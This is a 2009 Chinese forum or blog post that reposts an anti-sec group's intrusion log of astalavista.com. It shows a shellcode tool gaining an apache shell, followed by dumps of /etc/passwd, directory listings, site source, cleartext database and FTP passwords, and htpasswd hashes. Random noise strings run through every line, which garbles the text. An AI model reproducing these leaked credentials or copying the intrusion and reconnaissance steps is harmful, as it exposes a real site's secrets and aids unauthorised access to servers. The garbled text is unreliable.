里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
5 f: |' W9 p6 ?/ D$ Q$ a0 x6 E4 _5 u
/ K( w, P# j' C[root@front3 ~]# curl -I litespeedtech.com
# I/ _0 T' A8 z1 LHTTP/1.1 200 OK% [3 g! L0 u* @7 q/ P1 m
Date: Fri, 05 Jun 2009 22:54:51 GMT o% T' Y/ m% b& S3 g% Z1 I- z# z
Server: LiteSpeed
$ ]. T/ z* t4 a( g* C3 x3 p, H
# U) R" s* X( D" \另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-
' A9 Z, ]6 a7 B. ~' V% p7 U @* s8 N# ?2 i( m7 r% |
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。
1 n$ t8 V4 S0 W( e0 |
% R# O9 S. K) T- c3 N7 q. S3 i6 m( J, s$ \5 g" W m
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ * z/ s7 N7 o8 {, }: c; i
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \# E* k7 }+ b1 Y! S
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \3 a2 X) j& R2 f' ^# i* J$ K
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
9 Q- _7 ~$ H/ K" y* x4 Y. U \/ \/ \/ \/ \/ \/ \/3 I2 W- z( r7 h; A" [
The Hacking & Security Community7 f5 }; z5 Y& X! z: w6 f( ] D) z/ c3 s* q+ k
[+] Founded in 1997 by a hacker computer enthusiast$ X: b3 g8 x# R! w0 ?& G3 p; K
[-] Exposed in 2009 by anti-sec group7 V% n3 W3 p2 \# ?( s
9 }. \( T0 t- \ Z
From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
* }9 K1 C! n0 a- n>> 03. Who’s behind the site?
( \2 E2 i$ h7 t( b) j$ {$ z( }>>
9 Q7 l$ `. V9 L% v( I4 i" @2 c7 ?>> A team of security and IT professionals, and a countless number of contributors from all over the world.
. I' l; q# Y2 J, _8 |7 q% k
0 g [4 m1 U3 c; t>> 05. Is it true that the site is visited by script-kiddies and warez fans only?/ g7 b9 V s- q" L1 }! m
>>
( L" U1 |% z% L8 J>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and& i* ^- n: X: Z& o7 V: s# e' r2 E8 f
military institutions.
5 C( v9 V# D) v% U# Q7 E7 n/ }) ]>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.* _ F$ H1 i. c. N: X4 }0 I' z4 ^. u
* z6 f9 T& K2 t
Why has Astalavista been targeted?8 x; h' v4 Y5 O0 O) J
# M- o2 I* q* g$ U3 a
Other than the fact that they are not doing any of this for the “community” but
! R9 O1 ^7 C# [$ k Cfor the money, they spread exploits for kids, claim to be a security community3 _& ~; S$ C3 P( p; K
(with no real sense of security on their own servers), and they charge you $6.66$ V N% w- w) m7 K U
per months to access a dead forum with a directory filled with public releases
) w/ z' K% Y8 t0 O; H/ R/ Aand outdated / broken services.
& p' j" x+ u( m/ b
8 d' S1 ~: ~7 s7 q- |) HWe wanted to see how good that “team of security and IT professionals” really is.8 O, G# u; k' @$ q
7 V" q7 U; _6 x8 w5 `% n
Let’s begin.
% [. ~, J( q8 p( @8 e" x
) y/ I/ k2 X& Y; A: hanti-sec:~# ./g0tshell astalavista.com -p 80
, Y0 Y( R5 H/ i' q[+] Connecting to astalavista.com:80
; i M& _1 g- l2 z1 m" O% B2 O+ A[+] Grabbing banner…1 P0 B# H$ L c8 [: s
LiteSpeed
; T5 R" d ?& ]: U1 f7 _[+] Injecting shellcode…
1 I, l& r& f0 x6 ?. ]% e[-] Wait for it
9 K) d, H( S9 j; @3 i& Z/ ]0 W! o
+ T9 ]! m n( s ~1 q[~] We g0tshell
- |6 l' J1 q" D5 j Vuname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
0 z8 `7 O0 q$ G! h1 r* wID: uid=100(apache) gid=500(apache) groups=500(apache)
5 A) `. m4 L! n0 x
! Y5 P) G$ c6 @" xsh-3.2$ cat /etc/passwd' b7 D% B, t+ I
root:x:0:0:root:/root:/bin/bash
. y1 c% u, c; M: S4 p+ q, rbin:x:1:1:bin:/bin:/sbin/nologin
- z) d; |$ f0 f& `! h8 X1 Bdaemon:x:2:2:daemon:/sbin:/sbin/nologin& r- t% d$ J* g) N( z
adm:x:3:4:adm:/var/adm:/sbin/nologin4 i# `5 ~' F' M6 T- h
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
' L9 f% J, Y3 U4 o. [5 Isync:x:5:0:sync:/sbin:/bin/sync; M; C \- P6 h* n) ?
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
]( S/ O: q5 }) Q2 xhalt:x:7:0:halt:/sbin:/sbin/halt
# b. |# Q9 C* Lmail:x:8:12:mail:/var/spool/mail:/sbin/nologin, b- `; }7 l- {* d. [
news:x:9:13:news:/etc/news:
2 W& O. K1 y3 k3 n1 O' `, Cuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin' d- U" I- d* [9 } S' J
operator:x:11:0 perator:/root:/sbin/nologin1 F. C5 h& ?5 h4 A. F: W! h
games:x:12:100:games:/usr/games:/sbin/nologin8 `9 b6 M1 S: N: ^4 |2 Q3 b* b; ~
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
8 c3 h2 ]$ O% p2 Y$ zftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
% C$ U/ b3 p. K$ c9 lnobody:x:99:99:Nobody:/:/sbin/nologin
4 b- _: I2 q: G) ~# Q# Drpm:x:37:37::/var/lib/rpm:/sbin/nologin5 v6 H" p8 w5 @+ i/ z4 `
dbus:x:81:81:System message bus:/:/sbin/nologin' }' ~! R* r2 Z& {: p d* f" [
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin D" M% N+ W8 o. v0 o
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
( M6 }( e0 Q: ~4 ^+ F t7 G# T% X) }) tsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin- u' f9 I! {$ x
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
( D/ @% Y, e" |+ M5 Shaldaemon:x:68:68:HAL daemon:/:/sbin/nologin
4 {; c/ W$ c7 B. [5 Q6 C1 y7 Wrpc:x:32:32 ortmapper RPC user:/:/sbin/nologin
& ~" W( S+ e" v6 j" }rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
5 ?) u( o: T& \& x3 ?! Unfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
4 E. r, W b$ |- G* W- W$ Isshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin- v! Y6 ]# s. b2 k+ R& T' Z
pcap:x:77:77::/var/arpwatch:/sbin/nologin
2 Z+ O1 U9 L- R$ C9 h" ^named:x:25:25:Named:/var/named:/sbin/nologin
8 Y/ c6 @, g. \9 W: K3 zapache:x:100:500::/var/www:/bin/false
' [9 [0 j$ [* A' w& K0 {diradmin:x:101:101::/usr/local/directadmin:/bin/bash# M7 b0 \; @. M# u! \1 `; ^- D
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash6 w& h7 U& v3 l# _" o
webapps:x:500:501::/var/www/html:/bin/bash; r% Z! u, F! s: ] w' g
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
$ w; K0 ~ B% d! b) D! F8 Nadmin:x:501:502::/home/admin:/bin/bash
' } D3 H$ c) rjon:x:502:503::/home/jon:/bin/bash* H1 t4 a$ f v. I
com:x:503:504::/home/com:/bin/bash
- z C8 _0 u& f" k: t$ i! a% p2 ?ntp:x:38:38::/etc/ntp:/sbin/nologin
( ^( c5 }$ n6 O4 J- F6 ?, Kais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
; b) [) G) I4 O7 H& I. pastanet:x:504:505::/home/astanet:/bin/bash" v( }* y! }5 T
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
+ S" s" x3 s$ y& ^! r; o+ _avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
# l2 t& d0 h c+ A! I, K
( V d9 H, |( E3 ~2 a Q j0 ysh-3.2$ cat /etc/hosts
, W7 X& y' Y7 p1 K8 ~; Y% O: t# Do not remove the following line, or various programs0 i; }/ _8 @ ]5 U8 j7 ], w( p
# that require network functionality will fail.& C/ ]7 z" _6 A+ [- C
127.0.0.1 localhost.localdomain localhost
g, Q, u6 V" J8 t' D, m. k::1 localhost6.localdomain6 localhost6
) Y) P* Y0 j) }80.74.154.172 asta1.astalavistaserver.com2 `" g( M; F& C7 g$ f
/ v" S( r( a. k* |) tsh-3.2$ pwd
! j8 B2 z! f0 y2 o6 C; G/home/com/public_html6 w6 G# \2 R4 P3 W
" J+ ?: J. r: y1 C! Wsh-3.2$ ls -la
& x1 j# s) P9 E5 B$ vtotal 18460# o# v' w6 b1 k& e
drwxr-xr-x 30 com apache 4096 May 28 17:06 .6 Q7 S2 R6 Q2 E8 n
drwx–x–x 11 com com 4096 Jun 25 2008 ..3 x* m9 a0 l8 ]7 ?
drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
. p) ^ E! e/ `. a0 G3 Ndrwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
) P8 J8 R; `! D3 ydrwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin$ b; R# \0 @: L
drwxrwxrwx 2 com com 4096 May 19 00:50 config
. \/ I9 t. K: N- [3 |drwxr-xr-x 2 com com 4096 Mar 20 11:05 core
9 M4 S3 g2 I8 wdrwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
1 b5 e/ h6 V, _; d7 M: ^drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
+ u# `- k9 x; N9 j/ `drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
5 U. S* u( i. Fdrwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
" w$ p2 W, o: h4 {) \& J-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php
5 V& K4 g6 F# bdrwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
$ E- {& O$ ]- }9 }3 O4 ?drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor% T$ k" I9 C6 u7 `' z+ Y. f* z
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico
/ Q! ~, ?/ e& pdrwxrwxrwx 2 com com 4096 Jun 4 08:00 feed; A! n: O- H& v& ~. y8 O9 H
-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess5 ]/ C& `: I& Q+ |
-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
1 j, J* e& x) k8 ?-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
M7 Z+ P- B6 H1 T" jdrwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool0 {4 \" Z4 j" I; L9 Y
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images
5 P5 S; E( C4 V) _& ~6 ]+ f" o% I4 i d-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php2 U$ s& W9 I* }. D+ _
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer( ]8 s4 L. D: o9 [, f1 d4 \
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang+ {3 J; h& E/ q3 }+ x
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
8 z- V5 O. }2 P9 Vdrwxrwxrwx 12 com com 4096 Jun 2 07:47 media" K. n8 C; T/ ?3 L
drwxr-xr-x 8 com com 4096 May 11 12:48 modifications6 `; x3 |! B+ y# E3 J( X
drwxr-xr-x 34 com com 4096 May 28 16:30 modules
+ @2 D; J/ ^ W# xdrwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin3 T* x* D# O6 m4 s4 `( @2 {
drwxrwxr-x 22 com com 4096 May 28 17:06 _new5 W0 l; f3 M5 S' D7 u; Z
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
# Q' O+ l7 O; a& `$ A5 q% }drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy0 ~4 x8 }( y" [0 G
drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy; D4 F5 s+ s" U2 ?
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt$ n3 a5 f& w2 j
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
/ {& n) T9 T9 z6 ^9 Q8 B B-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
3 }" }/ l& c% L! g8 Vdrwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
5 V- n6 a2 b4 q, zdrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp3 C5 P0 u5 E# j' y" P
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
8 H1 f" E4 r0 k* H/ f1 q3 n5 U8 b3 z4 k
sh-3.2$ head -20 index.php' ~# I8 e1 }/ ?
<?php0 D( l4 {+ u }, o b
1 v7 Z* n3 I% A5 \# o/ i- {# P/**4 a4 d& v+ ?: ?6 O6 C! }0 c
* The main page for the CMS: ?& I9 X3 O) x: E& d& N- p, ]
* @copyright CONTREXX CMS - COMVATION AG
9 h$ M* X+ a- p$ @* @author Comvation Development Team8 T9 p( b) m( g* N
* @version v1.0.9.10.1 stable; }3 p% [5 U! P6 F! ]' ~* E
* @package contrexx* b' ?5 Y% K4 _ ?* Q
* @subpackage core% X7 ^& Q& \; O$ b+ h8 {1 i1 ~1 Y
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage
8 f9 P' u( i1 ]( ~* F2 L: B/ g* @since v0.0.0.0. _/ W. X/ L3 [$ L* I0 O7 ?
* @todo Capitalize all class names in project) Z! n2 _5 `: e& x
* @uses /config/configuration.php
5 o& z% \7 I7 V: H* @uses /config/settings.php$ p6 U7 x' ~4 T* p! M' n$ L
* @uses /config/version.php
& g( J6 K' u) v; P/ p5 F. e* @uses /core/API.php) O. X! o/ E$ i7 @
* @uses /core_modules/cache/index.class.php
4 N0 E$ B/ G, V/ N: S5 u* @uses /core/error.class.php
/ W9 j1 b9 U) p7 X5 }: Y* @uses /core_modules/banner/index.class.php
# F( ]- K5 r+ I( T* @uses /core_modules/contact/index.class.php
) V6 z& m7 d2 X4 ~! Z& C- E, g! @; [8 Q/ l4 r7 m. x! ?( Y9 ]
sh-3.2$ cd config/
1 X+ h% A0 L0 q H9 A K6 ssh-3.2$ ls -la, D6 T, J. C: I( ], C6 ^: V2 H
total 325 X: C" _6 {) ]
drwxrwxrwx 2 com com 4096 May 19 00:50 .) L X8 g5 j' ^0 b9 Z. P3 C' n
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
$ `& G; s" s5 R% S- C& c6 ~-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php2 i" r, z8 k1 B n+ I8 _5 B7 E
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php7 ~0 @' ]' x9 h6 ~4 o: q/ t
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php( a! g9 `6 }4 M& M d# n
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
4 |7 Q, t. N, w& ~, ~2 A# C4 ]. \9 B7 |! P0 A
sh-3.2$ cat configuration.php
' d- G, M- h# x9 u$ L7 W! w0 H[snip]
, ^6 {5 R0 X: @8 r- E$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost5 m- x* S- [; k- H5 V
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
8 V' U6 W; g' {% s1 y$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix4 T# T: y7 J5 E! M' F, r9 m, M
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
" Q- M- n1 v6 X3 U# B# [$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password
) E+ `% ?# s5 n: N0 q$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
) c8 P6 b7 J) i k) {$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)1 h. m. `8 s. {0 U/ Q, D
[snip]' J1 j& c4 \9 l
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
( u4 I3 ?1 K! w+ h. h$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode' f2 H6 u8 _. z: Z
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost( B# A: N" ]4 u' _ |
$_FTPCONFIG['port'] = 21; // Ftp remote port
) M8 R, h/ J! H6 e1 l$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username* D6 Q/ ^% }0 T8 d* u1 c% K
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password; O8 P/ |5 B- e% ?
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms6 p* K: m; k2 |, R7 y# R+ f/ ^
- K0 ~1 ~9 \6 R W9 I: R. Csh-3.2$ cd ..! V$ }/ b2 Y; g+ @
sh-3.2$ cd dvd/, n) P: A1 o6 Y* X: p2 V/ n
sh-3.2$ ls -la
; `# t- ~7 l$ x4 ctotal 2913780" c$ g; v* Q* C% ?
drwxr-xr-x 2 com com 4096 Sep 9 2008 .
- o( p! I( i- e q& \/ Qdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
# h2 J0 Z7 x% _% h& W! A-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
! B2 e h" S0 }$ J3 [: ~4 D# p& F-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar1 [7 V$ w3 x3 Y* i5 M; S
-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar
' s B# Y! U; K-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess
; W2 w" s& j8 l" b# i: U3 Z
3 |9 p) B# b4 n! n; l9 Q4 |sh-3.2$ cat .htaccess& {$ s6 _5 ]; Q' K* z
authType Basic
2 L: h/ U& s2 r8 cauthName DVD2 A4 M1 ?; m: t% [6 ^% s* _
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
( m5 z- m+ e' I' h4 ^require valid-user
. f$ F+ g+ ?6 d g4 q% j- b! v7 }9 ?: }. R' r' F C$ a
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
' [: n( E# d# r$ TDVDdownload:CRD8cuY6.MPT6
! r7 R8 q- k0 O; eDVDdownload2:CR8a36.wluFMg6 z9 {! k$ r# I. C) G! a& i& t6 s5 i
" ^1 p3 j( F& J3 |. ?6 I: o4 fsh-3.2$ cat test.php
Z, i/ b$ k; F4 Q- Z7 J0 |<?php
5 a [' f A$ @0 s$ c9 _$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
) W3 T9 b* o2 W W5 ?$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
- I1 O" C" v2 q9 Vecho $url;) N& H3 b* ~0 ?7 {( P# E& z5 Z: [
?>
$ P, s( E, p5 }1 {
, {. |7 U2 z4 L4 I' m# _% ?sh-3.2$ cd modifications/
" R( h# ^2 @& z5 P) C6 k& vsh-3.2$ ls -la# T% o& R$ y. _" S" ?
total 323 f1 l* i: B& ^1 a7 F
drwxr-xr-x 8 com com 4096 May 11 12:48 .
9 h4 k! N- ^/ zdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
4 H7 g# O! q' P8 _/ e- v- adrwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
! `1 c* J' x0 j/ d% ]2 @# ]drwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs# r( [; ~0 [& g& |
drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
% l8 t6 G2 x5 z8 }+ u( ldrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc2 @" p: d2 W7 F: o; {1 f s
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search2 G0 W# W( t/ d( ^; K* D
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp5 Q3 L0 G6 L* f3 g( d% h& J
/ p: a7 j! a$ p" t( T8 \8 X
sh-3.2$ ls -R
' u# I8 w. s& a.:* b0 `; X. `$ Z2 d$ M
com_avtng cronjobs onlinetools pjirc search _tmp. R* X$ W* Z0 g0 [0 n6 n! z, q' f8 [: o1 E
& N8 _8 p" y( @1 q./com_avtng:
+ ?, p& k- A; r. c+ O9 Pavtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
$ a( ]1 Z/ m5 Y# j/ N3 ^
/ }( d+ N1 e; p0 O) _./com_avtng/scripts:
5 D' `) N! s2 c+ K+ F7 u) a2 Kpopunder.js2 X& H5 D- {0 x% B5 G
: i: z% U1 j% u [8 ]# P
./cronjobs:
2 h% L8 C/ p8 Qexploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp, `) x. ]6 q8 ~; v2 V: C- a
9 @2 y" p' Z% Y/ w: v
./cronjobs/tmp:
& Q9 e0 v, A P$ ~# J, Xcontrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv' K. @& g% e0 r5 D2 n
. i. l; S( w4 Y$ p$ A./onlinetools:# C9 B7 D4 w; N! i) i. \
index.php
" f8 \1 _% |# ]( |5 Y0 `) S6 S: S9 r" L- G, W* ]
./pjirc:
* p. \3 y0 Z$ M7 P& Y! Xa_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
- @8 N6 f& o. e* |) dAppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt+ k9 K" _) t! w
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
1 x2 x9 G( t# r6 g- w4 g O
# M/ P( [( l& w& S% K+ P./pjirc/img:
& _# P4 {1 d' `: A( ?. r9 }! r) b% Uange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
4 q# X0 {- O. D+ y9 F: P. aarbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
3 s4 q# y( V! B& \4 [ c, k3 `7 w Averre-eau.gif) C( e" \$ {7 Z$ u
argh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
$ n: h2 n/ j4 everre-vin.gif
3 W l2 D4 O3 Zballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif4 c& S9 w% `- [6 F h, X" a* @: E9 F6 q( B
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif7 M3 w' U" g7 [
) H& L. W! i* z5 y1 z8 w1 S9 E; Z0 I
./pjirc/snd:4 T$ F2 z: s; q4 F! S$ s6 t6 K
bell2.au ding.au- u# ]+ f( M. D( T
" w" a/ U( {. `3 a. F+ k$ a./search:5 [% D! k, o o9 M1 [. l* S4 S; [. h
searchEngines.php search.php* o, ~6 y7 [0 D( Q4 y
# g6 [/ B8 L. ^! @
./_tmp:
% Q+ u0 [/ m% X, xdefaultPorts.php defaultPorts.txt
* ?7 K7 b3 ^) D+ F9 i* X) c, Y0 p$ R" i+ r5 V" y. L8 Y8 @0 _1 k h
sh-3.2$ cd cronjobs/% [' T( h8 }* P5 ~
sh-3.2$ cat exploits.php
9 d" G9 c5 Z; I9 g) @. _[snip]
! Z' K0 j! Z# ^6 d" C7 s$categories = array();7 y+ y; i4 L+ C! t
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;2 U% p- a; K+ r! ^
$expolits = file($milw0rmFile);
$ u) H' f. N" z5 R8 K3 }! ~$comExploits = array();
: L4 f' M1 {/ M" H. Z6 g- `[snip]
* U& j3 I( ~$ O) l// manage data
+ J5 b5 N- I9 K, m5 V) kfor ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640( [/ u3 [: M3 ]# I9 A3 Z! Q- [2 I, a
2 h* k$ C( x6 T
// get path and title( K9 M$ H: s! U9 P
$expolits[$x] = trim($expolits[$x]);% u) t. W+ {8 J3 j- s. j
$path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));7 d; ?! B( x* f& Z& r" \
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);; ?$ N& h( j6 C7 c
% V- E5 x! L% p' V) J8 W2 h# ] // check if file exists' G' o# C. c# M7 {" b
if (file_exists($path)) {
7 Y8 G6 x+ d' [, s6 E D
) Y6 H/ O G. e- m; R, R# Y0 I $text = file_get_contents($path);2 P6 N# ^. Z! m
4 G. p9 @: ?2 d4 w // get content and date1 O3 I; C+ f( U1 N# Z' W! ?, j
//$text = htmlspecialchars($text, ENT_QUOTES);8 F+ [- x! n& C' v M( W
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
$ Z# }, M9 W' d' g6 M if ($tmptext != ”) {0 p' F/ _) Y4 A N
$text = $tmptext;' \# a) \* ^' G
} else {
. D% f5 ~- ?( g% p- s$ o1 ~ $text = addslashes(htmlentities($text, ENT_QUOTES));& p- f6 m' r% ~3 H
}
R6 r: h+ g R/ K# y $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
( m7 J9 {( q# X# C; s $tmp = explode('-', $date);3 z; z+ Y3 j1 R1 G
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
* @" d; f7 u f# j4 f $cat = getCategory ($path);
- B* X1 R1 \; ~3 B% _0 n1 ` $ext = pathinfo(basename($path));- N# t; P7 b: r4 c0 x( O5 Y
$ext = $ext['extension'];
! F1 o9 _0 n8 j: L) M; F $qStr = ”. |9 U3 p6 @ E' e- w
SELECT `id`
, s3 {/ c, I* F( _5 h* I" E FROM `contrexx_module_exploits`
; L% O- i, o7 Z9 l" T$ t v WHERE `title` = ‘” . $title . “‘
8 S. W+ a! j) N, H AND `date` = ‘” . $date . “‘3 S6 ~2 x: B% r$ }3 O" U3 v
“;
4 |8 D( y0 h" V) x' @7 p; Z echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
, n; ~2 n0 Q$ O8 h3 ] $q = $_objDB->query($qStr);6 W) K# s% z& ~7 m1 D9 \2 E5 g; W' Q
! }5 ^# W$ y; R7 c" d U
if ($q->numRows() == 0) {
. F4 z( i9 ]+ E; t) X
$ d# V W) S& |+ h. c // prepare array: L+ } p. w+ x# s& k1 U' s
$comExploits[$x]['date'] = $date;- K# ?, \0 A! ]" N* x8 b
$comExploits[$x]['title'] = $title;
) b. P2 F& {, _6 d $comExploits[$x]['author'] = ‘milw0rm’;0 k- v$ `/ ?, U# g4 F" p: v
$comExploits[$x]['text'] = $text;) r# d1 x; l1 \) X/ o3 c5 ^! r
$comExploits[$x]['source'] = $ext;
9 E, p9 o- r1 v- V3 G0 S $comExploits[$x]['url1'] = ”;
( j* v$ r2 e* `- x, t0 A( _ $comExploits[$x]['url2'] = ”;
* t. |' e6 l* {: \ $comExploits[$x]['catid'] = $cat;7 O+ X1 _9 D" B% ^6 Z+ {
$comExploits[$x]['lang'] = ‘2′;5 }; C; t: A9 i1 s
$comExploits[$x]['userid'] = ‘12′;
, N3 ?: H+ y3 n! W; I% N $comExploits[$x]['startdate'] = ‘0000-00-00′;
) M) c9 Y* g6 `5 e4 E* J# e $comExploits[$x]['enddate'] = ‘0000-00-00′;
7 I& A# m& h2 U5 X- \7 f $comExploits[$x]['status'] = ‘1′;
" W, @. o5 o1 W% u$ p6 \" b% Z $comExploits[$x]['changelog'] = $date;
, x/ s2 C8 Y2 f6 s' t" y
0 r, t0 v& A$ C! u" i }
. K) N) E! O: V# `" w8 {$ E[snip], {* _' d3 I/ X+ n4 y/ K9 P
$xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>5 X/ t! u5 M) A* H6 U8 S2 g
<rss version=”2.0″># C4 U% j# \8 R
<channel>. Z' X4 a2 [* f
<title>ASTALAVISTA.com - Exploits</title>
# n4 I# h* V9 _$ G( t3 N <link>http://www.astalavista.com/exploits</link>
